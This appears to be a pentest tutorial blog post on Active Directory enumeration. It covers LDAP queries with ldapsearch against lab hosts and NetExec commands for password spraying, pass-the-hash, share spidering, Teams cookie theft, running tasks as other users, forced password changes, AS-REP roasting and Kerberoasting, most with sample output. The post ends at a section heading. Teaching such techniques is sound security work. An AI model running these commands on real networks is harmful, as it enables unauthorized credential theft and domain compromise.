
Hey everyone! Welcome back to the Active Directory pentest series. I hope you found the first blog helpful in understanding the basics of AD reconnaissance through DNS and SMB enumeration. If you haven’t checked it out yet, I’d recommend starting there since we’ll be building on those foundations today.
Quick Recap of Blog 1:
In the previous blog, we covered the fundamentals of Active Directory structure, how to identify AD environments by their ports and services, and dove deep into DNS enumeration using tools like dig and dnsenum to map out domain infrastructure. We then explored SMB enumeration with smbclient, smbmap, and enum4linux to discover shares, extract user accounts, and analyze password policies. These techniques gave us the “where” and “who” of the AD environment - the network layout and user landscape.
What We’re Covering in this Blog :
Today, we’re going to complete our basic enumeration toolkit by diving into LDAP (Lightweight Directory Access Protocol) - the backbone of Active Directory queries. We’ll explore LDAP fundamentals, understand the critical differences between LDAP and LDAPS, and learn manual enumeration techniques using tools like ldapsearch. Then, we’ll introduce NetExec (formerly CrackMapExec), a modern automation tool that consolidates everything we’ve learned. We’ll see how NetExec streamlines SMB and LDAP enumeration, turning multi-step manual processes into single commands. By the end of this blog, you’ll have a complete understanding of basic AD enumeration and know when to use manual techniques versus automated tools. Let’s get started!
LDAP
LDAP (Lightweight Directory Access Protocol) is the protocol used to query and modify directory services - think of it as the language that applications and systems use to communicate with Active Directory. While DNS tells you where systems are located in the network, LDAP tells you what exists in the directory and who has access to what. It’s essentially a structured database query language for Active Directory, allowing you to search for users, groups, computers, organizational units, and their attributes. Every time you log into a Windows domain, check group memberships, or access a shared resource, LDAP queries are happening behind the scenes.
LDAP Ports: 389 vs 636
LDAP operates on two primary ports:
- Port 389 (LDAP): This is standard LDAP running over unencrypted connections. Any data transmitted - including usernames, group memberships, and potentially sensitive attributes - is sent in clear text. This is a major security concern because anyone sniffing network traffic can see exactly what’s being queried.
- Port 636 (LDAPS): This is LDAP over SSL/TLS, providing encrypted communication between the client and the directory server. LDAPS protects the confidentiality and integrity of directory queries, preventing eavesdropping and man-in-the-middle attacks. Modern security best practices recommend using LDAPS wherever possible.
How LDAP Works in Active Directory
Active Directory’s structure is hierarchical, organized like an upside-down tree, and LDAP is the mechanism used to navigate and query this structure. Here’s how it works:
1. Distinguished Names (DN) - The Address System
Every object in AD has a unique identifier called a Distinguished Name (DN), which is like a full address showing exactly where that object lives in the directory hierarchy. For example:
CN=John Doe,OU=Sales,OU=Users,DC=corp,DC=local
Breaking this down:
CN=John Doe - Common Name (the actual object)
OU=Sales - Organizational Unit (department)
OU=Users - Parent Organizational Unit
DC=corp,DC=local - Domain Components (the domain: corp.local)
2. LDAP Bind - Authentication
Before you can query LDAP, you need to “bind” to the directory server - this is the authentication step. There are three types of binds:
- Anonymous Bind: No credentials required. If misconfigured, this allows anyone to query the directory without authentication - a pentester’s dream and a sysadmin’s nightmare.
- Simple Bind: Authentication with username and password. If done over port 389 (unencrypted LDAP), credentials are sent in cleartext.
- SASL Bind: More secure authentication using mechanisms like Kerberos or NTLM.
Attack Scenario
Pentester Perspective: Which Bind Type to Target?
1. Anonymous Bind Discovery
│
├─ [SUCCESS] ✅
│ └──> Full directory enumeration without credentials
│ ├─ Extract all users
│ ├─ Extract all groups
│ ├─ Extract all computers
│ └─ Build complete AD map
│
└─ [FAILED]
│
└──> Move to credential-based enumeration
│
2. Simple Bind Testing (Port 389)
│
├─ [SUCCESS with cleartext]
│ └──> Network capture credentials
│ ├─ Wireshark/tcpdump capture
│ ├─ Extract username + password
│ └─ Use for further attacks
│
└─ [Only LDAPS available]
│
3. Need Valid Credentials
│
├─ Try default credentials
├─ Password spraying
├─ Credential stuffing
└─ Kerberos attacks (AS-REP roasting)
A typical LDAP query might look like:
Example :
Search Base: DC=corp,DC=local
Filter: (&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))
Attributes: samAccountName, mail, memberOf
Now that we understand what LDAP is and how it works, let’s explore the practical tools we can use to enumerate Active Directory through LDAP. We’ll start with manual techniques using command-line tools, then move to more automated approaches.
ldapsearch
ldapsearch is a command-line tool that queries LDAP directories. Think of it as Google for Active Directory - you ask questions, and it returns structured information.
Basic Syntax
ldapsearch [connection options] [authentication options] [search options] [filters] [attributes]
ldapsearch Options
Connection Options
-H ldap://hostname - Specifies the LDAP server URI
ldap:// - Unencrypted connection (port 389)
ldap://host:port - Custom port
ldaps:// - Encrypted connection via SSL (port 636)
b "DC=domain,DC=com" - Base DN (Distinguished Name)
s base|one|sub - Search scope
base - Search only the base entry (like looking at one file)
one - Search one level below base (like ls in a folder)
sub - Search entire subtree recursively (like ls -R)
Authentication Options
x - Use simple authentication (not SASL)
- Always include this for basic password authentication
D "CN=username,OU=Users,DC=domain,DC=com" - Bind DN
- The “username” you’re authenticating with
- Must be in distinguished name format
w 'password' - Password (inline) W - Prompt for password securely
LLL - Clean output
- Removes version info and comments
- Makes output much more readable
Anonymous Bind
ldapsearch -H ldap://<target> -x -b "dc=<domain>,dc=<tld>"
Many LDAP servers allow anonymous connections. This is your first reconnaissance step.
ldapsearch -H ldap://lightweight.htb -x -b "dc=lightweight,dc=htb”
# extended LDIF
#
# LDAPv3
# base <dc=lightweight,dc=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# lightweight.htb
dn: dc=lightweight,dc=htb
objectClass: top
objectClass: dcObject
objectClass: organization
o: lightweight htb
dc: lightweight
# Manager, lightweight.htb
dn: cn=Manager,dc=lightweight,dc=htb
objectClass: organizationalRole
cn: Manager
description: Directory Manager
# People, lightweight.htb
dn: ou=People,dc=lightweight,dc=htb
objectClass: organizationalUnit
ou: People
# Group, lightweight.htb
dn: ou=Group,dc=lightweight,dc=htb
objectClass: organizationalUnit
ou: Group
# ldapuser1, People, lightweight.htb
dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb
uid: ldapuser1
cn: ldapuser1
sn: ldapuser1
mail: ldapuser1@lightweight.htb
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: top
objectClass: shadowAccount
userPassword:: e2NyeXB0fSQ2JDNxeDBTRDl4JFE5eTFseVFhRktweHFrR3FLQWpMT1dkMzNOd2R
oai5sNE16Vjd2VG5ma0UvZy9aLzdONVpiZEVRV2Z1cDJsU2RBU0ltSHRRRmg2ek1vNDFaQS4vNDQv
shadowLastChange: 17691
shadowMin: 0
shadowMax: 99999
shadowWarning: 7
loginShell: /bin/bash
uidNumber: 1000
gidNumber: 1000
homeDirectory: /home/ldapuser1
# ldapuser2, People, lightweight.htb
dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb
uid: ldapuser2
cn: ldapuser2
sn: ldapuser2
mail: ldapuser2@lightweight.htb
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: top
objectClass: shadowAccount
userPassword:: e2NyeXB0fSQ2JHhKeFBqVDBNJDFtOGtNMDBDSllDQWd6VDRxejhUUXd5R0ZRdms
zYm9heW11QW1NWkNPZm0zT0E3T0t1bkxaWmxxeXRVcDJkdW41MDlPQkUyeHdYL1FFZmpkUlF6Z24x
shadowLastChange: 17691
shadowMin: 0
shadowMax: 99999
shadowWarning: 7
loginShell: /bin/bash
uidNumber: 1001
gidNumber: 1001
homeDirectory: /home/ldapuser2
# ldapuser1, Group, lightweight.htb
dn: cn=ldapuser1,ou=Group,dc=lightweight,dc=htb
objectClass: posixGroup
objectClass: top
cn: ldapuser1
userPassword:: e2NyeXB0fXg=
gidNumber: 1000
# ldapuser2, Group, lightweight.htb
dn: cn=ldapuser2,ou=Group,dc=lightweight,dc=htb
objectClass: posixGroup
objectClass: top
cn: ldapuser2
userPassword:: e2NyeXB0fXg=
gidNumber: 1001
# search result
search: 2
result: 0 Success
# numResponses: 9
# numEntries: 8
This anonymous LDAP bind successfully dumped the entire directory without credentials, revealing two user accounts (ldapuser1 and ldapuser2) with their Base64-encoded password hashes. The userPassword attributes contain crypt-format hashes that we can attempt to crack offline. Additionally, we mapped the organizational structure with People and Group OUs, plus enumerated email addresses, home directories, and the directory manager account - all valuable information for our next attack phase.
Clean output
ldapsearch -H ldap://<target> -x -b "dc=<domain>,dc=<tld>" -LLL
ldapsearch -H ldap://lightweight.htb -x -b "dc=lightweight,dc=htb" -LLL
The -LLL flag provides clean output without comments and version information, making it much easier to parse and read. This anonymous bind successfully enumerated the directory structure, revealing the organizational unit People, a user account ldapuser1 with email address, login shell, and home directory - all without requiring any credentials.
dn: dc=lightweight,dc=htb
objectClass: top
objectClass: dcObject
objectClass: organization
o: lightweight htb
dc: lightweight
dn: cn=Manager,dc=lightweight,dc=htb
objectClass: organizationalRole
cn: Manager
description: Directory Manager
dn: ou=People,dc=lightweight,dc=htb
objectClass: organizationalUnit
ou: People
dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb
uid: ldapuser1
cn: ldapuser1
mail: ldapuser1@lightweight.htb
objectClass: person
objectClass: inetOrgPerson
loginShell: /bin/bash
homeDirectory: /home/ldapuser1
Searching for Specific Users
ldapsearch -H ldap://<target> -x -b "dc=<domain>,dc=<tld>" -LLL "(objectClass=person)"
Using the LDAP filter (objectClass=person) allows us to target only user accounts instead of dumping all directory objects. This query returned two users - ldapuser1 and ldapuser2 - with their usernames, email addresses, UIDs, home directories, and login shells, providing us with potential targets for password spraying or credential-based attacks.
ldapsearch -H ldap://lightweight.htb -x -b "dc=lightweight,dc=htb" -LLL "(objectClass=person)"
dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb
uid: ldapuser1
cn: ldapuser1
sn: ldapuser1
mail: ldapuser1@lightweight.htb
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
loginShell: /bin/bash
uidNumber: 1000
homeDirectory: /home/ldapuser1
dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb
uid: ldapuser2
cn: ldapuser2
sn: ldapuser2
mail: ldapuser2@lightweight.htb
objectClass: person
loginShell: /bin/bash
uidNumber: 1001
homeDirectory: /home/ldapuser2
Requesting Specific Attributes
ldapsearch -H ldap://<target> -x -b "dc=<domain>,dc=<tld>" -LLL "(objectClass=person)" cn mail uidNumber
By specifying exact attributes (cn mail uidNumber) at the end of the command, we receive only the information we need instead of all available attributes, reducing output noise. This targeted approach is useful when you’re looking for specific data like email addresses for phishing campaigns or UIDs for privilege escalation research, making enumeration more efficient and results easier to parse.
ldapsearch -H ldap://lightweight.htb -x -b "dc=lightweight,dc=htb" -LLL "(objectClass=person)" cn mail uidNumber
cn mail uidNumber - Only return these attribute
dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb
cn: ldapuser1
mail: ldapuser1@lightweight.htb
uidNumber: 1000
dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb
cn: ldapuser2
mail: ldapuser2@lightweight.htb
uidNumber: 1001
Authenticated Bind
ldapsearch -H ldap://<target> -x -D "uid=<username>,ou=People,dc=<domain>,dc=<tld>" -w '<password>' -b "dc=<domain>,dc=<tld>" -LLL
Then anonymous binds fail or you have valid credentials, use the -D flag to specify the bind DN (user’s distinguished name) and -w for the password to authenticate before querying. Authenticated binds often reveal more information than anonymous queries, as administrators may restrict anonymous access while allowing authenticated users to enumerate the directory.
ldapsearch -H ldap://lightweight.htb -x -D "uid=ldapuser1,ou=People,dc=lightweight,dc=htb" -w 'password123' -b "dc=lightweight,dc=htb" -LLL
Finding All Users with Email Addresses
ldapsearch -H ldap://<target> -x -b "dc=<domain>,dc=<tld>" -LLL "(mail=*)" cn mail
The LDAP filter (mail=*) searches for all objects that have the mail attribute set, effectively finding users with email addresses. This query discovered three accounts including a previously hidden administrator account with email admin@lightweight.htb - authenticated enumeration often reveals privileged accounts that anonymous queries miss, making this a valuable technique for identifying high-value targets.
ldapsearch -H ldap://lightweight.htb -x -b "dc=lightweight,dc=htb" -LLL "(mail=*)" cn mail
dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb
cn: ldapuser1
mail: ldapuser1@lightweight.htb
dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb
cn: ldapuser2
mail: ldapuser2@lightweight.htb
dn: cn=administrator,ou=Users,dc=lightweight,dc=htb
cn: System Administrator
mail: admin@lightweight.htb
Cheat Sheet
H ldap://dc.example.com — LDAP URI (can be ldap:// or ldaps:// or ldap://host:port)
b "DC=corp,DC=example,DC=com" — Base DN (where to start the search)
s base|one|sub — Scope: base (this entry only), one (one-level), sub (recursive)
x — simple auth (no SASL)
D "CN=binduser,OU=...,DC=..." — Bind DN (username for auth)
w 'Password' or W — password (inline or prompt)
H ldaps://dc.corp.example.com:636 — LDAP over SSL (LDAPS)
ZZ — StartTLS (upgrade connection to TLS on standard 389)
LLL — cleaner output (omit comments and version headers)
S attr — sort on attribute (server-side, if supported)
E pr=1000 — paged results (see advanced)
o nettimeout=10 — network timeout
v — verbose (debug)
Common attributes (AD-focused)
sAMAccountName — short username
userPrincipalName — user@realm
displayName — full name
mail — email
memberOf — groups the user belongs to
objectSid — SID
servicePrincipalName (servicePrincipalName) — SPNs for Kerberoast
lastLogonTimestamp / lastLogon — login times
whenCreated — account creation date
pwdLastSet — last password set
description — often contains notes/roles
homeDirectory — path to home share
NetExec
NetExec (formerly known as CrackMapExec) is the Swiss Army knife of Active Directory enumeration and exploitation. While tools like ldapsearch, smbclient, and enum4linux require multiple commands and manual parsing, NetExec consolidates everything into a single, powerful framework. It supports multiple protocols (SMB, LDAP, WinRM, SSH, FTP, RDP, VNC, WMI) and automates common pentesting tasks like credential validation, share enumeration, password spraying, and even code execution.
What makes NetExec special:
- Multi-protocol support in one tool
- Built-in credential validation across networks
- Automated enumeration with clean output
- Module system for advanced attacks
- Pass-the-Hash support
- When code execution is successful, you’ll see the coveted (Pwn3d!) indicator
Supported Protocols:
FTP, SSH, WINRM, LDAP, SMB, RDP, VNC, WMI
Basic NetExec Syntax
Standard Authentication:
nxc <protocol> <target(s)> -u username -p password
Using Credential IDs (from NetExec database):
nxc <protocol> <target(s)> -id <cred ID(s)>
Multi-Domain Environment:
When dealing with multiple domains, you can specify the domain as part of the username:
nxc <protocol> <target(s)> -u FILE -p password
Where FILE contains usernames in this format:
DOMAIN1\\user
DOMAIN2\\user
Brute Forcing & Password Spraying
Standard Brute Force (tries every password with every username):
nxc <protocol> <target(s)> -u ~/file_containing_usernames -p ~/file_containing_passwords
Using NTLM Hashes (Pass-the-Hash):
nxc <protocol> <target(s)> -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes
Password Spraying Without Brute Force:
The --no-bruteforce flag is crucial for password spraying - it matches usernames to passwords in order rather than trying every combination:
nxc <protocol> <target(s)> -u ~/file_containing_usernames -p ~/file_containing_passwords --no-bruteforce
nxc <protocol> <target(s)> -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes --no-bruteforce
How --no-bruteforce works:
user1 → pass1
user2 → pass2
user3 → pass3
This prevents account lockouts and mimics legitimate login patterns, making it stealthier than brute forcing.
NetExec with SMB
SMB is one of the most commonly used protocols in NetExec for Active Directory enumeration. Let’s explore its capabilities.
Network Discovery
Scan an entire subnet for SMB:
nxc smb 192.168.1.0/24

This command discovers all systems with SMB enabled and displays:
- Hostname
- Domain name
- OS version
- SMB signing status
- Whether the system is a Domain Controller
SMB 192.168.1.10 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:corp.local) (signing:True) (SMBv1:False)
SMB 192.168.1.15 445 WS01 [*] Windows 10 Build 19041 x64 (name:WS01) (domain:corp.local) (signing:False) (SMBv1:False)
Guest Account Detection
Since 2025, NetExec can automatically check if guest login is enabled without supplying credentials.
Enable this feature:
- Edit
~/.nxc/nxc.conf
- Change
check_guest_account to true
- Run NetExec without credentials:
nxc smb 10.10.10.178
If guest is enabled, you’ll see: Guest: True

Null Session Enumeration
Null sessions allow authentication with empty credentials - a common misconfiguration:
Test for Null Session:
nxc smb retro.vl -u '' -p ''
Enumerate Shares with Null Session:
nxc smb retro.vl -u '' -p '' --shares
Extract Password Policy:
nxc smb 10.10.10.161 -u '' -p '' --pass-pol
Example Output:
SMB 10.10.10.161 445 DC01 [+] corp.local\\:
SMB 10.10.10.161 445 DC01 [+] Dumping password policy
SMB 10.10.10.161 445 DC01 Minimum password length: 7
SMB 10.10.10.161 445 DC01 Password history length: 24
SMB 10.10.10.161 445 DC01 Maximum password age: 41 days 23 hours 53 minutes
SMB 10.10.10.161 445 DC01 Password complexity: Disabled
SMB 10.10.10.161 445 DC01 Account lockout threshold: None
Enumerate Users:
nxc smb 10.10.10.161 -u '' -p '' --users
Enumerate Groups:
nxc smb 10.10.10.161 -u '' -p '' --groups
Guest Session Enumeration
Guest sessions use a random username with an empty password:
Test Guest Access:
nxc smb 10.10.10.178 -u 'a' -p ''
Enumerate Shares as Guest:
nxc smb 10.10.10.178 -u 'a' -p '' --shares

Understanding the Difference:
For a detailed explanation of Guest vs Null vs Anonymous sessions, check out: https://blog.whiteflag.io/blog/guest-vs-null-session-on-windows/
Credential Validation & Password Spraying
Brute Force Attack:
nxc smb <ip> -u users.txt -p passwords.txt
This tries every password against every username - can trigger account lockouts!
Password Matching (Safe Password Spraying):
nxc smb <ip> -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
How it works:
user1 → pass1
user2 → pass2
user3 → pass3
The --continue-on-success flag ensures NetExec doesn’t stop after the first successful authentication, allowing you to validate multiple credentials.
Pass-the-Hash Attacks
NetExec supports Pass-the-Hash (PtH) attacks using NTLM hashes instead of cleartext passwords:
Using Full NTLM Hash:
nxc smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c'
nxc smb 192.168.1.0/24 -u UserName -H 'LM:NT'
nxc smb 192.168.1.0/24 -u UserName -H 'NTHASH'
Successful PtH Example Output:
SMB 192.168.1.10 445 DC01 [+] corp.local\Administrator:13b29964cc2480b4ef454c59562e675c (Pwn3d!)
The (Pwn3d!) indicator means you have administrative access and can execute commands!
Share Spidering
Spidering refers to automatically enumerating and recursively listing the contents of SMB file shares. It’s basically a file crawler that discovers interesting files across accessible shares.
Basic Spider (List Files):
nxc smb 192.168.1.0/24 -u user -p pass --spider
Spider and Download All Files:
nxc smb 192.168.1.10 -u user -p pass --spider --download
Using Spider_Plus Module (Advanced):
nxc smb 10.10.10.10 -u 'user' -p 'pass' -M spider_plus -o DOWNLOAD_FLAG=True
The spider_plus module provides more organized output and better filtering options for large shares.
File Upload and Download
Upload a File:
nxc smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt
Download a File:
nxc smb 172.16.251.152 -u user -p pass --get-file \\Windows\\Temp\\whoami.txt /tmp/whoami.txt
These commands are useful for:
- Uploading payloads for execution
- Extracting sensitive files discovered during spidering
- Dropping tools for post-exploitation
Stealing Microsoft Teams Cookies
Microsoft Teams stores authentication cookies locally that can be stolen and reused:
nxc smb <ip> -u user -p pass -M teams_localdb
This module extracts Teams cookies which can be used for session hijacking or accessing Teams data.
Enumerating Logged-On Users
Knowing who’s logged into a system helps identify high-value targets for credential theft or lateral movement.
Method 1: Using –loggedon-users Flag
nxc smb <ip> -u <localAdmin> -p <password> --loggedon-users
Method 2: Using –qwinsta Flag (Query WinStation)
nxc smb <ip> -u <localAdmin> -p <password> --qwinsta
SMB 192.168.1.10 445 WS01 [+] corp.local\\admin:password (Pwn3d!)
SMB 192.168.1.10 445 WS01 [+] Logged on users:
SMB 192.168.1.10 445 WS01 corp\\administrator
SMB 192.168.1.10 445 WS01 corp\\sqlservice
SMB 192.168.1.10 445 WS01 corp\\backupuser
This reveals that administrator, sqlservice, and backupuser are actively logged in - all potential targets for credential dumping.
Execute Commands as Other Users
If you have admin access and discover logged-on users, you can execute commands on their behalf:
nxc smb <ip> -u <localAdmin> -p <password> -M schtask_as -o USER=<logged-on-user> CMD=<cmd-command>
This creates a scheduled task that runs as the specified user, useful for privilege escalation or accessing user-specific resources.
Password Change Module
NetExec can remotely change user passwords if you have sufficient privileges:
Change Password (Cleartext):
nxc smb <ip> -u user -p pass -M change-password -o NEWPASS=NewPassword
This is useful for:
- Maintaining persistence
- Locking out legitimate users (as part of red team exercises)
- Resetting compromised account passwords
Key Takeaways for NetExec SMB:
- Always start with network discovery to map out targets
- Test for null and guest sessions first (no lockout risk)
- Use
-no-bruteforce for password spraying to avoid lockouts
- Pass-the-Hash is stealthier than using cleartext passwords
- Spider shares to find sensitive data
- Enumerate logged-on users to identify high-value targets
- The (Pwn3d!) indicator means you have admin access
NetExec with LDAP
Basic LDAP Syntax
nxc ldap <target> -u <username> -p <password> [options]
Components:
nxc ldap - Protocol specification (LDAP)
<target> - IP address, hostname, or CIDR range
-u <username> - Username for LDAP bind
-p <password> - Password for authentication
[options] - Enumeration flags and modules
Authentication Methods for LDAP
1. Password Authentication
nxc ldap 192.168.1.10 -u administrator -p 'Password123!'
2. NTLM Hash (Pass-the-Hash)
nxc ldap 192.168.1.10 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99'
3. Anonymous Bind (No Credentials)
nxc ldap 192.168.1.10 -u '' -p ''
4. Guest Account
nxc ldap 192.168.1.10 -u 'guest' -p ''
5. Domain Specification
nxc ldap 192.168.1.10 -u administrator -p 'Password123!' -d CORP.LOCAL
Step-by-Step LDAP Enumeration
Test LDAP Connectivity and Authentication
First, verify that LDAP is accessible and your credentials work:
nxc ldap 192.168.1.10 -u administrator -p 'Password123!'
LDAP 192.168.1.10 389 DC01 [+] corp.local\administrator:Password123!
- What this tells you:*
- LDAP port 389 is accessible
- Credentials are valid
- Domain name is
corp.local
- Domain Controller hostname is
DC01
Test Anonymous LDAP Bind
Many environments misconfigure LDAP to allow anonymous access. Always test this:
nxc ldap 192.168.1.10 -u '' -p ''
LDAP 192.168.1.10 389 DC01 [+] corp.local\:
- Success!* The
[+] indicates anonymous bind worked. You can now enumerate without credentials.
- If it fails:*
LDAP 192.168.1.10 389 DC01 [-] corp.local\:
The [-] means anonymous bind is disabled (good security posture).
Enumerate All Domain Users
Extract every user account from Active Directory:
nxc ldap 192.168.1.10 -u administrator -p 'Password123!' --users
LDAP 192.168.1.10 389 DC01 [*] Total records returned: 47
LDAP 192.168.1.10 389 DC01 administrator Built-in account for administering the computer/domain
LDAP 192.168.1.10 389 DC01 Guest Built-in account for guest access to the computer/domain
LDAP 192.168.1.10 389 DC01 krbtgt Key Distribution Center Service Account
LDAP 192.168.1.10 389 DC01 john.doe John Doe - IT Department - Ext 5421
LDAP 192.168.1.10 389 DC01 jane.smith Jane Smith - HR Manager
LDAP 192.168.1.10 389 DC01 bob.wilson Bob Wilson - Sales Rep
LDAP 192.168.1.10 389 DC01 svc_backup Backup Service Account - Password: BackupPass123
LDAP 192.168.1.10 389 DC01 svc_sql SQL Server Service Account
LDAP 192.168.1.10 389 DC01 svc_web IIS Application Pool Account
- What you see:*
sAMAccountName (username)
description field (often contains passwords, roles, contact info!)
- Critical Finding:* Notice
svc_backup has a password in the description field!
Export Users to File
For password spraying or further analysis, save usernames to a file:
nxc ldap 192.168.1.10 -u administrator -p 'Password123!' --users --users-export users.txt
LDAP 192.168.1.10 389 DC01 [*] Total records returned: 47
LDAP 192.168.1.10 389 DC01 [*] Saved users to users.txt
The file users.txt now contains:
administrator
Guest
krbtgt
john.doe
jane.smith
bob.wilson
svc_backup
svc_sql
svc_web
Perfect for password spraying tools!
Enumerate Only Active Users
Not all accounts are enabled. Filter for active accounts only:
nxc ldap 192.168.1.10 -u administrator -p 'Password123!' --active-users
LDAP 192.168.1.10 389 DC01 [*] Total of 28 active users returned
LDAP 192.168.1.10 389 DC01 administrator
LDAP 192.168.1.10 389 DC01 john.doe
LDAP 192.168.1.10 389 DC01 jane.smith
LDAP 192.168.1.10 389 DC01 bob.wilson
LDAP 192.168.1.10 389 DC01 svc_backup
LDAP 192.168.1.10 389 DC01 svc_sql
- Why this matters:* Disabled accounts can’t authenticate. This list shows real, active targets.
- Export active users:*
nxc ldap 192.168.1.10 -u administrator -p 'Password123!' --active-users --active-users-export active_users.txt
Enumerate Domain Groups
Groups reveal organizational structure and privilege levels:
nxc ldap 192.168.1.10 -u administrator -p 'Password123!' --groups
LDAP 192.168.1.10 389 DC01 [*] Total groups: 52
LDAP 192.168.1.10 389 DC01 Domain Admins Designated administrators of the domain
LDAP 192.168.1.10 389 DC01 Enterprise Admins Designated administrators of the enterprise
LDAP 192.168.1.10 389 DC01 Schema Admins Designated administrators of the schema
LDAP 192.168.1.10 389 DC01 Domain Users All domain users
LDAP 192.168.1.10 389 DC01 Domain Computers All workstations and servers joined to the domain
LDAP 192.168.1.10 389 DC01 IT Admins Information Technology Administrators
LDAP 192.168.1.10 389 DC01 SQL Admins SQL Server Database Administrators
LDAP 192.168.1.10 389 DC01 Backup Operators Members can backup and restore files
- What to look for:*
- High-privilege groups (Domain Admins, Enterprise Admins)
- Custom admin groups (IT Admins, SQL Admins)
- Service-related groups
Enumerate Specific Group Membership
Who has Domain Admin privileges? Find out:
nxc ldap 192.168.1.10 -u administrator -p 'Password123!' --groups "Domain Admins"
LDAP 192.168.1.10 389 DC01 [*] Domain Admins
LDAP 192.168.1.10 389 DC01 administrator
LDAP 192.168.1.10 389 DC01 da_backup
LDAP 192.168.1.10 389 DC01 admin_john
- Critical intelligence:* These three accounts have complete domain control. They are your high-value targets!
- Try other groups:*
nxc ldap 192.168.1.10 -u administrator -p 'Password123!' --groups "Enterprise Admins"
nxc ldap 192.168.1.10 -u administrator -p 'Password123!' --groups "Backup Operators"
nxc ldap 192.168.1.10 -u administrator -p 'Password123!' --groups "Account Operators"
Custom LDAP Queries
NetExec supports raw LDAP filter queries for precise enumeration:
nxc ldap 192.168.1.10 -u administrator -p 'Password123!' --query "(sAMAccountName=administrator)" "sAMAccountName,pwdLastSet,lastLogon"
LDAP 192.168.1.10 389 DC01 [*] Query results:
LDAP 192.168.1.10 389 DC01 sAMAccountName: administrator
LDAP 192.168.1.10 389 DC01 pwdLastSet: 133456789012345678
LDAP 192.168.1.10 389 DC01 lastLogon: 133567890123456789
# Find all service accounts (accounts with SPNs)
nxc ldap 192.168.1.10 -u user -p 'pass' --query "(&(objectClass=user)(servicePrincipalName=*))" "sAMAccountName,servicePrincipalName"
# Find users with passwords set to never expire
nxc ldap 192.168.1.10 -u user -p 'pass' --query "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))" "sAMAccountName"
# Find all computer objects
nxc ldap 192.168.1.10 -u user -p 'pass' --query "(objectClass=computer)" "cn,operatingSystem"
# Find users with descriptions
nxc ldap 192.168.1.10 -u user -p 'pass' --query "(&(objectClass=user)(description=*))" "sAMAccountName,description"
# Find all enabled user accounts
nxc ldap 192.168.1.10 -u user -p 'pass' --query "(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" "sAMAccountName"
- Advanced LDAP Enumeration**
1. ASREPRoasting (No Pre-Authentication Required)
ASREPRoasting targets accounts that don’t require Kerberos pre-authentication. You can request authentication data without a password!
nxc ldap 192.168.1.10 -u administrator -p 'Password123!' --asreproast asrep_hashes.txt
LDAP 192.168.1.10 389 DC01 [*] Total of 3 accounts without pre-auth
LDAP 192.168.1.10 389 DC01 svc_legacy $krb5asrep$23$svc_legacy@CORP.LOCAL:8a45bc...
LDAP 192.168.1.10 389 DC01 test_user $krb5asrep$23$test_user@CORP.LOCAL:3b2cf5...
LDAP 192.168.1.10 389 DC01 old_account $krb5asrep$23$old_account@CORP.LOCAL:7d89a2...
- What you get:* Kerberos AS-REP hashes saved to
asrep_hashes.txt
- Crack them with hashcat:*
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
- Why this works:*
- No password needed to get the hash
- Accounts misconfigured with “Do not require Kerberos preauthentication”
- Common on legacy service accounts
2. Kerberoasting (Service Principal Names)
Kerberoasting extracts service tickets for accounts with SPNs. These can be cracked offline:
nxc ldap 192.168.1.10 -u administrator -p 'Password123!' --kerberoasting kerb_hashes.txt
LDAP 192.168.1.10 389 DC01 [*] Total of 4 kerberoastable accounts
LDAP 192.168.1.10 389 DC01 svc_sql $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc...
LDAP 192.168.1.10 389 DC01 svc_web $krb5tgs$23$*svc_web$CORP.LOCAL$HTTP...
LDAP 192.168.1.10 389 DC01 svc_backup $krb5tgs$23$*svc_backup$CORP.LOCAL$...
LDAP 192.168.1.10 389 DC01 svc_exchange $krb5tgs$23$*svc_exchange$CORP.LOCAL$...
- What you get:* Kerberos TGS hashes saved to
kerb_hashes.txt
- Crack them with hashcat:*
hashcat -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt
- Why this attack is powerful:*
- Any authenticated domain user can perform it
- Service accounts often have weak passwords
- Completely offline - no logs on the DC
- No special privileges required
3. Get Domain SID
The Domain Security Identifier (SID) is useful for various attacks:
nxc ldap 192.168.1.10 -u administrator -p 'Password123!' --get-sid
LDAP 192.168.1.10 389 DC01 Domain SID: S-1-5-21-3623811015-3361044348-30300820
- What you can do with it:*
- Construct SIDs for known RIDs (500 = Administrator)
- SID history attacks
- Cross-domain attacks
4. Admin Count Enumeration
The adminCount attribute marks accounts that have (or had) administrative privileges:
nxc ldap 192.168.1.10 -u administrator -p 'Password123!' --admin-count
LDAP 192.168.1.10 389 DC01 [*] Total of 7 users with adminCount=1
LDAP 192.168.1.10 389 DC01 administrator
LDAP 192.168.1.10 389 DC01 da_backup
LDAP 192.168.1.10 389 DC01 krbtgt
LDAP 192.168.1.10 389 DC01 former_admin
LDAP 192.168.1.10 389 DC01 john_admin
LDAP 192.168.1.10 389 DC01 svc_admin
LDAP 192.168.1.10 389 DC01 emergency_admin
- Why this matters:*
- Identifies high-value targets
- May reveal former admins who still have access
- Service accounts with admin rights (often weak passwords)
5. Password Not Required
